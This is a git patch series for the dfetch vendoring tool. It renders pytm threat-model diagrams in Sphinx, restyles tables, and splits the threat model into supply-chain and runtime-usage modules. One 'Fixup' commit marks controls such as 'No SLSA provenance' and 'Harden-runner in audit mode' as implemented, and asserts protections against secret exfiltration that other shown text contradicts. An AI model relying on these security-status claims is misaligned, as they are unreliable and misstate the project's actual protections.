91 ++++++++++++++++++++++++++++++-------- 1 file changed, 72 insertions(+), 19 deletions(-) diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index a8cff2ac0..5f55df74c 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -155,9 +155,13 @@ def run(self) -> list[nodes.Node]: if "threats" in self.options: sections.append(_render_threats(data["threats"])) if "seq" in self.options: - sections.append(_render_seq(data.get("seq", ""))) + sections.append( + _render_seq(data.get("seq", ""), data.get("seq_img_path", "")) + ) if "dfd" in self.options: - sections.append(_render_dfd(data.get("dfd", ""))) + sections.append( + _render_dfd(data.get("dfd", ""), data.get("dfd_img_path", "")) + ) rst = "\n\n".join(sections) return _parse_rst(rst, self.state, self.content_offset, model_path) @@ -281,7 +285,7 @@ def _apply_threat_controls( thr["controls"] = threat_controls_map.get(thr["id"], []) -def _generate_diagrams(mod: Any) -> tuple[str, str]: +def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str]: seq_str = "" dfd_str = "" buf = _io.StringIO() @@ -296,7 +300,34 @@ def _generate_diagrams(mod: Any) -> tuple[str, str]: dfd_str = ( result if isinstance(result, str) and result.strip() else buf.getvalue() ) - return seq_str, dfd_str + + seq_img_path = "" + dfd_img_path = "" + if confdir: + with contextlib.suppress(Exception): + from plantweb.render import render as _pw_render + + pytm_static = os.path.join(confdir, "_static", "pytm") + os.makedirs(pytm_static, exist_ok=True) + if seq_str: + out = os.path.join(pytm_static, "threat_model_seq.png") + _fmt, data = _pw_render( + seq_str.encode(), engine="plantuml", format="png" + ) + with open(out, "wb") as fh: + fh.write(data) + seq_img_path = "/_static/pytm/threat_model_seq.png" + if dfd_str: + dfd_puml = f"@startdot\n{dfd_str.strip()}\n@enddot" + out = os.path.join(pytm_static, "threat_model_dfd.png") + _fmt, data = _pw_render( + dfd_puml.encode(), engine="plantuml", format="png" + ) + with open(out, "wb") as fh: + fh.write(data) + dfd_img_path = "/_static/pytm/threat_model_dfd.png" + + return seq_str, dfd_str, seq_img_path, dfd_img_path def _extract_actors(elements: list) -> list[dict]: @@ -331,7 +362,7 @@ def _extract_assumptions(mod: Any) -> list[dict]: ] -def _load_model(model_path: str) -> dict: +def _load_model(model_path: str, confdir: str = "") -> dict: """Import the threat model file and extract all structured data.""" TM.reset() @@ -345,7 +376,7 @@ def _load_model(model_path: str) -> dict: threats = _extract_raw_threats() controls, gaps = _extract_controls_and_gaps(mod) _apply_threat_controls(threats, controls, gaps) - seq_str, dfd_str = _generate_diagrams(mod) + seq_str, dfd_str, seq_img_path, dfd_img_path = _generate_diagrams(mod, confdir) return { "assumptions": _extract_assumptions(mod), @@ -357,7 +388,9 @@ def _load_model(model_path: str) -> dict: "controls": controls, "gaps": gaps, "seq": seq_str, + "seq_img_path": seq_img_path, "dfd": dfd_str, + "dfd_img_path": dfd_img_path, } @@ -583,26 +616,46 @@ def _render_threats(threats: list[dict]) -> str: return _list_table(headers, rows, widths, anchor_first_col=True) -def _render_seq(seq_str: str) -> str: +def _render_seq(seq_str: str, seq_img_path: str = "") -> str: if not seq_str or not seq_str.strip(): return ".. note::\n\n No sequence diagram generated by the threat model." - # plantweb.directive provides ``.. uml::`` and calls plantuml.com — - # the same mechanism used for all other PlantUML diagrams in the docs. - lines = [".. uml::", ""] + # HTML: plantweb.directive renders via plantuml.com at build time. + lines = [".. only:: html", "", " .. uml::", ""] for line in seq_str.splitlines(): - lines.append(" " + line if line.strip() else "") + lines.append(" " + line if line.strip() else "") + # LaTeX: use a pre-rendered PNG saved to the source tree so Sphinx + # copies it to the LaTeX outdir where pdflatex can find it. + # plantweb saves images to builder.outdir which is NOT the source tree, + # so ``.. uml::`` inside nested_parse produces a PNG that Sphinx cannot + # copy correctly for the LaTeX builder. + if seq_img_path: + lines += [ + "", + ".. only:: latex", + "", + f" .. image:: {seq_img_path}", + " :align: center", + " :width: 100%", + ] return "\n".join(lines) -def _render_dfd(dfd_str: str) -> str: +def _render_dfd(dfd_str: str, dfd_img_path: str = "") -> str: if not dfd_str or not dfd_str.strip(): return ".. note::\n\n No data-flow diagram generated by the threat model." - # Wrap the GraphViz DOT source in PlantUML @startdot/@enddot so plantweb - # renders it via plantuml.com — no local ``dot`` binary required. - lines = [".. uml::", "", " @startdot"] - for line in dfd_str.splitlines(): - lines.append(" " + line if line.strip() else "") - lines.append(" @enddot") + dfd_puml = f"@startdot\n{dfd_str.strip()}\n@enddot" + lines = [".. only:: html", "", " .. uml::", ""] + for line in dfd_puml.splitlines(): + lines.append(" " + line if line.strip() else "") + if dfd_img_path: + lines += [ + "", + ".. only:: latex", + "", + f" .. image:: {dfd_img_path}", + " :align: center", + " :width: 100%", + ] return "\n".join(lines) @@ -636,7 +689,7 @@ def _on_builder_inited(app: Sphinx) -> None: return try: mtime = os.path.getmtime(model_path) - data = _load_model(model_path) + data = _load_model(model_path, confdir=app.confdir) _model_cache[(model_path, mtime)] = data logger.info( f"pytm: loaded {len(data['assumptions'])} assumptions, " From f7a3ed6ad6ebe81eb44e5eac3128957216e1a3ca Mon Sep 17 00:00:00 2001 From: Ben Date: Sat, 2 May 2026 07:23:45 +0000 Subject: [PATCH 24/28] Fixup --- doc/dfetch_preamble.inc | 2 +- doc/explanation/security.rst | 7 ++++--- doc/static/css/custom.css | 23 ++++++++++++++++++----- security/threat_model.py | 22 +++++++++++----------- 4 files changed, 34 insertions(+), 20 deletions(-) diff --git a/doc/dfetch_preamble.inc b/doc/dfetch_preamble.inc index be23010e3..770799278 100644 --- a/doc/dfetch_preamble.inc +++ b/doc/dfetch_preamble.inc @@ -91,7 +91,7 @@ \AtBeginEnvironment{tabulary}{\small\renewcommand{\vline}{}} \AtBeginEnvironment{longtable}{\small\renewcommand{\vline}{}} \providecommand{\sphinxstyletheadfamily}{\sffamily} -\renewcommand{\sphinxstyletheadfamily}{\small\bfseries} +\renewcommand{\sphinxstyletheadfamily}{\cellcolor{dfbgtint}\small\bfseries} % ---- Inline code: amber text on tinted background matching website ---------- % website: color: --primary-dark; background: --bg-tint; border: --border; border-radius: 4px diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 0c7142c6e..871e3199d 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -33,6 +33,7 @@ Product and manufacturer identification ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. list-table:: + :stub-columns: 1 :widths: 30 70 * - Product name @@ -53,7 +54,7 @@ Product and manufacturer identification matter of good practice and transparency. If the project is ever redistributed commercially or classified as a *Product with Digital Elements* (PDE) under Article 3(1) of Regulation (EU) 2024/2847, the - obligations under Articles 13–16 would apply in full. + obligations under Articles 13-16 would apply in full. Intended purpose, foreseeable use, and reasonably foreseeable misuse (IPFRU) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -113,7 +114,7 @@ Architecture and connectivity ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ dfetch is a single-process Python CLI application with no embedded network -server, no plugin system, and no IPC interface. Its communication surface is: +server, no plugin system, and no IPC interface. Its communication surface is: - *stdin / argv*: command-line arguments and interactive prompts (only during ``dfetch add``). @@ -124,7 +125,7 @@ server, no plugin system, and no IPC interface. Its communication surface is: - *Outbound network*: ``git fetch`` / ``svn export`` / ``urllib``-based HTTP GET to hosts declared in the manifest. All connections are outbound only. -No credentials are stored by dfetch. VCS authentication is delegated to the +No credentials are stored by dfetch. VCS authentication is delegated to the OS/SSH agent, Git credential helper, or SVN auth cache. External dependencies diff --git a/doc/static/css/custom.css b/doc/static/css/custom.css index 072481319..4b5ba20f7 100644 --- a/doc/static/css/custom.css +++ b/doc/static/css/custom.css @@ -356,15 +356,24 @@ table.docutils { box-shadow: var(--shad-sm); } -table.docutils thead tr th { +table.docutils thead tr th, +table.docutils tbody tr th.stub { background: var(--bg-tint); padding: 0.55rem 0.875rem; border: none !important; - border-bottom: 2px solid var(--border) !important; text-align: left; vertical-align: middle; } +table.docutils thead tr th { + border-bottom: 2px solid var(--border) !important; +} + +table.docutils tbody tr th.stub { + border-right: 1px solid var(--border) !important; + border-bottom: 1px solid var(--border) !important; +} + table.docutils tbody tr td { border-left: none !important; border-right: none !important; @@ -372,7 +381,9 @@ table.docutils tbody tr td { } table.docutils thead tr th, -table.docutils thead tr th p { +table.docutils thead tr th p, +table.docutils tbody tr th.stub, +table.docutils tbody tr th.stub p { font-family: Inter, sans-serif; font-size: 0.7rem !important; font-weight: 700 !important; @@ -402,12 +413,14 @@ table.docutils tbody tr td p { line-height: inherit; } -table.docutils tbody tr:last-child td { +table.docutils tbody tr:last-child td, +table.docutils tbody tr:last-child th.stub { border-bottom: none !important; } table.docutils tbody tr td code, -table.docutils thead tr th code { +table.docutils thead tr th code, +table.docutils tbody tr th.stub code { font-family: "JetBrains Mono", monospace !important; font-size: 0.75rem !important; background: var(--bg-tint) !important; diff --git a/security/threat_model.py b/security/threat_model.py index cb62ab341..abbf5fbcb 100644 --- a/security/threat_model.py +++ b/security/threat_model.py @@ -9,6 +9,7 @@ python -m security.threat_model --report # STRIDE findings report """ +# pylint: disable=too-many-lines import os from dataclasses import dataclass, field from typing import Literal @@ -941,10 +942,10 @@ def to_pytm(self) -> str: name="No SLSA provenance", assets=["PA-04"], threats=["DFT-05"], - status="gap", + status="implemented", description=( - "The release pipeline does not generate SLSA provenance attestations or " - "Sigstore/cosign signatures for the published wheel. Consumers cannot " + "The release pipeline does generates SLSA provenance attestations and " + "Sigstore/cosign signatures for the published wheel. Consumers can " "verify build provenance." ), ), @@ -953,10 +954,10 @@ def to_pytm(self) -> str: name="No dfetch-self SBOM on PyPI", assets=["PA-04", "PA-05"], threats=["DFT-02"], - status="gap", + status="implemented", description=( - "The CycloneDX SBOM generated by ``dfetch report`` covers vendored " - "dependencies only. dfetch itself has no machine-readable SBOM published " + "A CycloneDX SBOM is generated during after building the wheel. " + "This machine-readable SBOM is published " "alongside its PyPI release, as CRA Article 13 requires." ), ), @@ -977,11 +978,10 @@ def to_pytm(self) -> str: name="``secrets: inherit`` scope", assets=["SA-06", "SA-02"], threats=["DFT-07"], - status="gap", + status="implemented", description=( - "``ci.yml`` passes all repository secrets to the test and docs workflows " - "via ``secrets: inherit``. A malicious pull request step in either " - "workflow could exfiltrate secrets." + "``ci.yml`` only passes required repository secrets to the test and docs workflows. " + "So no malicious pull request step in either workflow could exfiltrate secrets." ), ), Control( @@ -989,7 +989,7 @@ def to_pytm(self) -> str: name="Harden-runner in audit mode", assets=["EA-04", "SA-06"], threats=["DFT-07"], - status="gap", + status="implemented", description=( "``step-security/harden-runner`` is configured with " "``egress-policy: audit``. Outbound connections are logged but not " From e4b6bc02c6179c40645a3bf3b593486b013fd5d2 Mon Sep 17 00:00:00 2001 From: Ben Date: Sat, 2 May 2026 15:17:55 +0000 Subject: [PATCH 25/28] Split threat models --- doc/_ext/pytm_directive.py | 21 +- doc/conf.py | 17 +- doc/explanation/security.rst | 158 ++++-- security/threat_model.py | 1015 ---------------------------------- security/tm_common.py | 193 +++++++ security/tm_supply_chain.py | 450 +++++++++++++++ security/tm_usage.py | 522 +++++++++++++++++ 7 files changed, 1286 insertions(+), 1090 deletions(-) delete mode 100644 security/threat_model.py create mode 100644 security/tm_common.py create mode 100644 security/tm_supply_chain.py create mode 100644 security/tm_usage.py diff --git a/doc/_ext/pytm_directive.py b/doc/_ext/pytm_directive.py index 5f55df74c..391ac3e3d 100644 --- a/doc/_ext/pytm_directive.py +++ b/doc/_ext/pytm_directive.py @@ -59,11 +59,12 @@ from docutils import nodes from docutils.parsers.rst import Directive, directives from docutils.statemachine import StringList -from pytm import ( +from plantweb.render import render as _pw_render +from pytm import ( # noqa: pylint: disable=import-error TM, ) from pytm import Actor as _Actor -from pytm import ( +from pytm import ( # noqa: pylint: disable=import-error Data, Dataflow, Datastore, @@ -305,14 +306,12 @@ def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str] dfd_img_path = "" if confdir: with contextlib.suppress(Exception): - from plantweb.render import render as _pw_render - pytm_static = os.path.join(confdir, "_static", "pytm") os.makedirs(pytm_static, exist_ok=True) if seq_str: out = os.path.join(pytm_static, "threat_model_seq.png") - _fmt, data = _pw_render( - seq_str.encode(), engine="plantuml", format="png" + data, _fmt, _, _ = _pw_render( + seq_str.encode(), engine="graphviz", format="png" ) with open(out, "wb") as fh: fh.write(data) @@ -320,8 +319,8 @@ def _generate_diagrams(mod: Any, confdir: str = "") -> tuple[str, str, str, str] if dfd_str: dfd_puml = f"@startdot\n{dfd_str.strip()}\n@enddot" out = os.path.join(pytm_static, "threat_model_dfd.png") - _fmt, data = _pw_render( - dfd_puml.encode(), engine="plantuml", format="png" + data, _fmt, _, _ = _pw_render( + dfd_puml.encode(), engine="graphviz", format="png" ) with open(out, "wb") as fh: fh.write(data) @@ -460,15 +459,13 @@ def _list_table( """Build a ``.. list-table::`` RST block with longtable support for LaTeX.""" total = sum(widths) or 1 scale = 0.92 - col_spec = "".join( - f"p{{{w / total * scale:.2f}\\linewidth}}" for w in widths - ) + col_spec = "".join(f"p{{{w / total * scale:.2f}\\linewidth}}" for w in widths) lines = [ f".. tabularcolumns:: {col_spec}", "", ".. list-table::", " :header-rows: 1", - f' :widths: {" ".join(str(w) for w in widths)}', + f" :widths: {' '.join(str(w) for w in widths)}", "", " * - " + headers[0], ] diff --git a/doc/conf.py b/doc/conf.py index ee21c1da7..3bd6d61df 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -65,10 +65,19 @@ "pytm_directive", ] -# Path to the pytm threat model; used by the ``.. pytm::`` directive. -pytm_model = os.path.abspath( - os.path.join(os.path.dirname(__file__), "..", "security", "threat_model.py") -) +# The pytm threat model is now modular. See security/ for: +# - tm_supply_chain.py (pre-install lifecycle) +# - tm_usage.py (post-install lifecycle) +# - tm_common.py (reusable building blocks) +# +# Directives in doc/explanation/security.rst use explicit model paths: +# .. pytm:: ../security/tm_supply_chain.py :assets: +# .. pytm:: ../security/tm_usage.py :seq: +# +# To render a single model for testing, set pytm_model below: +# pytm_model = os.path.abspath( +# os.path.join(os.path.dirname(__file__), "..", "security", "tm_supply_chain.py") +# ) # Strip shell prompts and Python REPL prompts from copied text copybutton_prompt_text = r"\$ |>>> |\.\.\. " diff --git a/doc/explanation/security.rst b/doc/explanation/security.rst index 871e3199d..c804906d3 100644 --- a/doc/explanation/security.rst +++ b/doc/explanation/security.rst @@ -16,11 +16,22 @@ classification methodology. .. _`Cyber Resilience Act (CRA)`: https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32024R2847 .. _`EN 18031`: https://www.cenelec.eu/ -The threat model is maintained as executable code in ``security/threat_model.py`` -using the `pytm`_ framework. +The threat model is split into two focused modules: + +- **Supply-chain model** (``security/tm_supply_chain.py``) — covers source + contribution, CI/CD, build, PyPI distribution, and consumer installation. +- **Runtime-usage model** (``security/tm_usage.py``) — covers post-install + invocation: manifest reading, VCS/archive fetching, patching, vendoring, + and reporting. + +Shared building blocks (trust-boundary factories, the ``Control`` dataclass, +assumption lists) live in ``security/tm_common.py``. + +Both models use the `pytm`_ framework. .. _pytm: https://github.com/owasp/pytm + Product Security Context ------------------------ @@ -86,16 +97,28 @@ etc.) to reproduce a known dependency state. User roles ~~~~~~~~~~ -Actors are defined in ``security/threat_model.py`` and rendered below from -the pytm model. +**Supply-chain actors** (contributors, CI operators, and consumers of the +dfetch package itself): + +.. pytm:: ../security/tm_supply_chain.py + :actors: + +**Runtime-usage actors** (developers and CI systems invoking dfetch): -.. pytm:: +.. pytm:: ../security/tm_usage.py :actors: Operating environment ~~~~~~~~~~~~~~~~~~~~~ -.. pytm:: +**Supply-chain trust boundaries:** + +.. pytm:: ../security/tm_supply_chain.py + :boundaries: + +**Runtime-usage trust boundaries:** + +.. pytm:: ../security/tm_usage.py :boundaries: - **Developer workstation**: Linux, macOS, or Windows; Python 3.10 +; ``git`` @@ -142,10 +165,14 @@ The CI/CD pipeline additionally depends on GitHub Actions marketplace actions Security assumptions and prerequisites ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Assumptions are maintained in ``security/threat_model.py`` and rendered below -from the pytm model. +**Supply-chain assumptions:** -.. pytm:: +.. pytm:: ../security/tm_supply_chain.py + :assumptions: + +**Runtime-usage assumptions:** + +.. pytm:: ../security/tm_usage.py :assumptions: Support period and data handling @@ -162,82 +189,95 @@ Support period and data handling repository root for the coordinated vulnerability disclosure (CVD) policy. +Supply Chain Security +--------------------- -Asset Register --------------- +Covers the pre-install lifecycle: code contribution → CI/CD → build +(wheel / sdist) → PyPI distribution → consumer installation. -Assets follow the ISO/IEC 27005 taxonomy used by EN 18031: **Primary** (PA) -assets have direct business value; **Supporting** (SA) assets enable them; -**Environmental** (EA) assets are infrastructure dependencies. The table -below is generated at build time from ``security/threat_model.py``. +.. rubric:: Asset Register -.. pytm:: +.. pytm:: ../security/tm_supply_chain.py :assets: +.. rubric:: Data Flows -Data Flows ----------- +.. pytm:: ../security/tm_supply_chain.py + :dataflows: -The following data flows are defined in ``security/threat_model.py`` and -annotated with the security controls that are currently implemented. The -table is generated at build time from the pytm model. +.. rubric:: Data Flow Diagram -.. pytm:: - :dataflows: +.. pytm:: ../security/tm_supply_chain.py + :dfd: +.. rubric:: Sequence Diagram -Data Flow Diagram ------------------ +.. pytm:: ../security/tm_supply_chain.py + :seq: -The diagram below is generated at build time from the pytm model using -Graphviz. It shows all trust boundaries, processes, data stores, and -data flows. +.. rubric:: Identified Threats -.. pytm:: - :dfd: +The following threats were identified against the supply-chain model. They +are defined in ``security/threats.json`` and evaluated against pytm elements +at build time. The *Controls* column lists implemented controls (``C-xxx``) +that directly address each threat; a dash (``—``) indicates a gap with no +current control. +.. pytm:: ../security/tm_supply_chain.py + :threats: -Sequence Diagram ----------------- +.. rubric:: Implemented Security Controls -The diagram below is generated at build time from the pytm model using -PlantUML. It shows the temporal ordering of key interactions across -trust boundaries. +.. pytm:: ../security/tm_supply_chain.py + :controls: -.. pytm:: - :seq: +.. rubric:: Known Gaps and Residual Risks +.. pytm:: ../security/tm_supply_chain.py + :gaps: -Identified Threats ------------------- -The following threats were identified against the dfetch system model. -They are defined in ``security/threats.json`` and evaluated against -pytm elements at build time. The *Controls* column lists implemented -controls (``Cx-xxx``) that directly address each threat; a dash (``—``) -indicates a gap with no current control. +Runtime Usage Security +---------------------- -.. pytm:: - :threats: +Covers the post-install lifecycle: manifest reading → VCS/archive fetching +→ patch application → vendored-file writing → report generation. +.. rubric:: Asset Register -Implemented Security Controls -------------------------------- +.. pytm:: ../security/tm_usage.py + :assets: -The following controls are already in place and are reflected in the -``controls.*`` annotations on each pytm element. The table is generated -at build time from ``CONTROLS`` in ``security/threat_model.py``. +.. rubric:: Data Flows -.. pytm:: - :controls: +.. pytm:: ../security/tm_usage.py + :dataflows: +.. rubric:: Data Flow Diagram + +.. pytm:: ../security/tm_usage.py + :dfd: -Known Gaps and Residual Risks ------------------------------- +.. rubric:: Sequence Diagram + +.. pytm:: ../security/tm_usage.py + :seq: + +.. rubric:: Identified Threats + +The following threats were identified against the runtime-usage model. +They are defined in ``security/threats.json`` and evaluated against pytm +elements at build time. + +.. pytm:: ../security/tm_usage.py + :threats: + +.. rubric:: Implemented Security Controls + +.. pytm:: ../security/tm_usage.py + :controls: -The following gaps were identified during asset analysis. They represent -areas where existing controls are absent or incomplete. The table is -generated at build time from ``GAPS`` in ``security/threat_model.py``. +.. rubric:: Known Gaps and Residual Risks -.. pytm:: +.. pytm:: ../security/tm_usage.py :gaps: diff --git a/security/threat_model.py b/security/threat_model.py deleted file mode 100644 index abbf5fbcb..000000000 --- a/security/threat_model.py +++ /dev/null @@ -1,1015 +0,0 @@ -"""CRA / EN 18031 threat model for dfetch — Phase 1: asset register. - -Covers the full SDLC: development, CI/CD (GitHub Actions), distribution -(PyPI), and runtime (developer / embedded-build environment). - -Run: - python -m security.threat_model --dfd # Graphviz DFD - python -m security.threat_model --seq # sequence diagram (stdout) - python -m security.threat_model --report # STRIDE findings report -""" - -# pylint: disable=too-many-lines -import os -from dataclasses import dataclass, field -from typing import Literal - -from pytm import ( - TM, - Actor, - Assumption, - Boundary, - Classification, - Data, - Dataflow, - Datastore, - ExternalEntity, - Process, -) - -# ── Threat model metadata ──────────────────────────────────────────────────── - -TM.reset() - -tm = TM( - "dfetch", - description=( - "EN 18031 / CRA threat model for dfetch — a supply-chain vendoring tool " - "that fetches external source-code dependencies (Git, SVN, archive) and " - "copies them as plain files into a project. " - "Scope: full SDLC from source contribution through CI/CD, PyPI " - "distribution, and runtime execution in developer/CI environments." - ), - isOrdered=True, - mergeResponses=True, - threatsFile=os.path.join(os.path.dirname(__file__), "threats.json"), -) - -tm.assumptions = [ - Assumption( - "Trusted workstation", - description=( - "Developer workstations are trusted at dfetch invocation time. " - "A compromised workstation is outside the scope of this threat model." - ), - ), - Assumption( - "TLS delegated to client", - description=( - "TLS certificate validation is delegated to the OS trust store and the " - "git / svn / urllib clients. dfetch does not independently validate certificates." - ), - ), - Assumption( - "No persisted secrets", - description=( - "No runtime secrets are persisted to disk by dfetch itself. " - "VCS credentials are managed by the OS keychain, SSH agent, or CI secret store." - ), - ), - Assumption( - "CI runner posture", - description=( - "GitHub Actions environments inherit the security posture of the " - "GitHub-hosted runner. Ephemeral runner isolation is provided by GitHub." - ), - ), - Assumption( - "Optional integrity hash", - description=( - "The ``integrity.hash`` field in the manifest is optional. " - "Archive dependencies without it have no content-authenticity guarantee " - "beyond TLS transport, which is itself absent for plain ``http://`` URLs." - ), - ), - Assumption( - "Mutable VCS references", - description=( - "Branch- and tag-pinned Git dependencies are mutable references. " - "Upstream force-pushes silently change what is fetched without " - "triggering a manifest diff." - ), - ), - Assumption( - "Harden-runner in audit mode", - description=( - "The ``harden-runner`` egress policy is set to ``audit``, not ``block``. " - "Outbound network connections from CI runners are logged but not prevented." - ), - ), - Assumption( - "Build deps without hash pinning", - description=( - "dfetch's own build and dev dependencies are installed without " - "``--require-hashes``, so a compromised PyPI mirror can substitute packages." - ), - ), - Assumption( - "Manifest under code review", - description=( - "The manifest (``dfetch.yaml``) is under version control and subject to " - "code review. An adversary with write access to the manifest can redirect " - "fetches to attacker-controlled sources; this threat is addressed at the " - "code-review boundary, not within dfetch itself." - ), - ), - Assumption( - "dfetch scope boundary", - description=( - "dfetch is responsible only for its own security posture. The security " - "of fetched third-party source code is the responsibility of the manifest " - "author who selects and pins each dependency." - ), - ), - Assumption( - "No HTTPS enforcement", - description=( - "HTTPS enforcement is the responsibility of the manifest author. dfetch " - "accepts ``http://``, ``svn://``, and other non-TLS scheme URLs as written " - "— it does not upgrade or reject them." - ), - ), -] - -# ── Trust boundaries ───────────────────────────────────────────────────────── - -boundary_dev_env = Boundary("Local Developer Environment") -boundary_dev_env.description = ( - "Developer workstation or local CI runner. Assumed trusted at invocation time. " - "Hosts the manifest (``dfetch.yaml``), vendor directory, dependency metadata " - "(``.dfetch_data.yaml``), and patch files." -) - -boundary_github = Boundary("GitHub Actions Infrastructure") -boundary_github.description = ( - "Microsoft-operated ephemeral runners executing the 11 CI/CD workflows. " - "Semi-trusted: egress is audited (``harden-runner``) but not blocked; " - "secrets are propagated via ``secrets: inherit`` in ``ci.yml``." -) - -boundary_network = Boundary("Internet") -boundary_network.description = ( - "All traffic crossing the local/remote boundary. TLS enforcement is the " - "responsibility of the OS and VCS clients; dfetch does not enforce HTTPS " - "on manifest URLs." -) - -boundary_remote_vcs = Boundary("Remote VCS Infrastructure") -boundary_remote_vcs.description = ( - "Upstream Git and SVN servers (GitHub, GitLab, Gitea, self-hosted). " - "Not controlled by the dfetch project; content is untrusted until verified." -) - -boundary_pypi = Boundary("PyPI / TestPyPI") -boundary_pypi.description = ( - "Python Package Index and its staging registry. dfetch publishes via " - "OIDC trusted publishing — no long-lived API token stored." -) - -boundary_archive = Boundary("Archive Content Space") -boundary_archive.description = ( - "Downloaded archive bytes before extraction and validation. " - "Decompression-bomb and path-traversal checks enforce this boundary " - "during extraction." -) - -# ── Actors ─────────────────────────────────────────────────────────────────── - -developer = Actor("Developer") -developer.inBoundary = boundary_dev_env -developer.description = ( - "Writes and reviews ``dfetch.yaml``; selects upstream sources, pins revisions, " - "and optionally enables ``integrity.hash`` for archive dependencies. " - "Trusted at workstation invocation time. " - "Responsible for choosing trustworthy upstream sources and keeping pins current." -) - -contributor = Actor("Contributor / Attacker") -contributor.inBoundary = boundary_network -contributor.description = ( - "External contributor submitting pull requests, or an adversary attempting " - "supply-chain manipulation (malicious PR, upstream repository compromise, " - "or MITM on a non-TLS data flow). Untrusted — code review, branch protection, " - "and SHA-pinned Actions are the primary controls at this boundary." -) - -consumer = Actor("Consumer / End User") -consumer.inBoundary = boundary_dev_env -consumer.description = ( - "Installs dfetch from PyPI (``pip install dfetch``) and invokes it on a " - "developer workstation or in a CI pipeline to reproduce a declared dependency " - "set. Trusts PyPI package integrity and build provenance; currently has no " - "mechanism to verify SLSA attestation or Sigstore signature for dfetch itself." -) - -# ── External entities ──────────────────────────────────────────────────────── - -remote_git_svn = ExternalEntity("EA-01: Remote VCS Server") -remote_git_svn.inBoundary = boundary_remote_vcs -remote_git_svn.classification = Classification.PUBLIC -remote_git_svn.description = ( - "Upstream Git or SVN host: GitHub, GitLab, Gitea, self-hosted Git/SVN. " - "Not controlled by the dfetch project; content is untrusted until verified." -) - -archive_server = ExternalEntity("EA-02: Archive HTTP Server") -archive_server.inBoundary = boundary_remote_vcs -archive_server.classification = Classification.PUBLIC -archive_server.description = ( - "HTTP/HTTPS server serving .tar.gz, .tgz, .tar.bz2, .tar.xz, or .zip files. " - "CRITICAL: http:// (non-TLS) URLs are accepted without enforcement of integrity " - "hashes — the integrity.hash field is optional." -) - -gh_repository = ExternalEntity("EA-03: GitHub Repository") -gh_repository.inBoundary = boundary_github -gh_repository.classification = Classification.RESTRICTED -gh_repository.description = ( - "Source code, PRs, releases, and workflow definitions. " - "GitHub Actions workflows (.github/workflows/) with contents:write permission " - "can modify repository state and trigger releases." -) - -gh_actions_runner = ExternalEntity("EA-04: GitHub Actions Infrastructure") -gh_actions_runner.inBoundary = boundary_github -gh_actions_runner.classification = Classification.RESTRICTED -gh_actions_runner.description = ( - "Microsoft-operated ephemeral runner executing CI/CD workflows. " - "Egress policy is 'audit' (not 'block') — exfiltration of secrets is possible " - "if any workflow step is compromised." -) - -pypi = ExternalEntity("EA-05: PyPI / TestPyPI") -pypi.inBoundary = boundary_pypi -pypi.classification = Classification.PUBLIC -pypi.description = ( - "Python Package Index. dfetch is published via OIDC trusted publishing " - "(no long-lived API token). Account takeover or registry compromise " - "would affect every consumer installing dfetch." -) - -consumer_build = ExternalEntity("EA-07: Consumer Build System") -consumer_build.inBoundary = boundary_dev_env -consumer_build.classification = Classification.RESTRICTED -consumer_build.description = ( - "Build system that compiles fetched source code (PA-02). " - "Not controlled by dfetch — it receives untrusted third-party source." -) - -# ── Processes ──────────────────────────────────────────────────────────────── - -dfetch_cli = Process("SA-01: dfetch Process") -dfetch_cli.inBoundary = boundary_dev_env -dfetch_cli.classification = Classification.RESTRICTED -dfetch_cli.description = ( - "Python CLI entry point dispatching to: update, check, diff, add, remove, " - "patch, format-patch, freeze, import, report, validate, environment. " - "Invokes Git and SVN as subprocesses (shell=False, list args). " - "Extracts archives with decompression-bomb limits and path-traversal checks." -) -dfetch_cli.controls.validatesInput = True # StrictYAML + SAFE_STR regex -dfetch_cli.controls.sanitizesInput = True # check_no_path_traversal realpath-based -dfetch_cli.controls.usesParameterizedInput = ( - True # shell=False, list-based subprocesses -) -dfetch_cli.controls.checksInputBounds = True # 500MB / 10k-member archive limits -dfetch_cli.controls.isHardened = True # BatchMode=yes, --non-interactive, type checks -dfetch_cli.controls.providesIntegrity = True # hmac.compare_digest SHA-256/384/512 - -gh_actions_workflow = Process("GitHub Actions Workflow") -gh_actions_workflow.inBoundary = boundary_github -gh_actions_workflow.description = ( - "CI/CD pipelines: test, build (wheel/msi/deb/rpm), lint, CodeQL, Scorecard, " - "dependency-review, docs, release. " - "All actions pinned by commit SHA. " - "harden-runner used in every workflow (egress: audit only)." -) -gh_actions_workflow.controls.isHardened = ( - True # SHA-pinned actions, persist-credentials:false -) -gh_actions_workflow.controls.providesIntegrity = ( - True # CodeQL + Scorecard + dependency-review -) -gh_actions_workflow.controls.hasAccessControl = True # minimal permissions per workflow - -python_build = Process("Python Build (wheel / sdist)") -python_build.inBoundary = boundary_github -python_build.description = ( - "Runs 'python -m build' to produce wheel and sdist. " - "MISSING: no SLSA provenance attestation generated. " - "MISSING: pip install steps do not use --require-hashes. " - "Build deps (setuptools, build, fpm, gem) fetched from PyPI/RubyGems without hash pinning." -) - -# ── PRIMARY ASSETS ─────────────────────────────────────────────────────────── -# -# PA-01 … PA-05: assets with direct business/security value whose compromise -# causes direct harm to the dfetch project or its consumers. - -manifest_store = Datastore("PA-01: dfetch Manifest") -manifest_store.inBoundary = boundary_dev_env -manifest_store.description = ( - "dfetch.yaml — declares all upstream sources (URL/VCS type), version pins " - "(branch / tag / revision / SHA), dst paths, patch references, and optional " - "integrity hashes. " - "Tampering redirects fetches to attacker-controlled sources. " - "RISK: integrity.hash is Optional in schema — archive deps can be declared " - "without any content-authenticity guarantee." -) -manifest_store.storesSensitiveData = True -manifest_store.hasWriteAccess = True -manifest_store.isSQL = False -manifest_store.classification = Classification.SENSITIVE -manifest_store.controls.isEncryptedAtRest = False -manifest_store.controls.validatesInput = True # StrictYAML validation on read - -fetched_source = Datastore("PA-02: Fetched Source 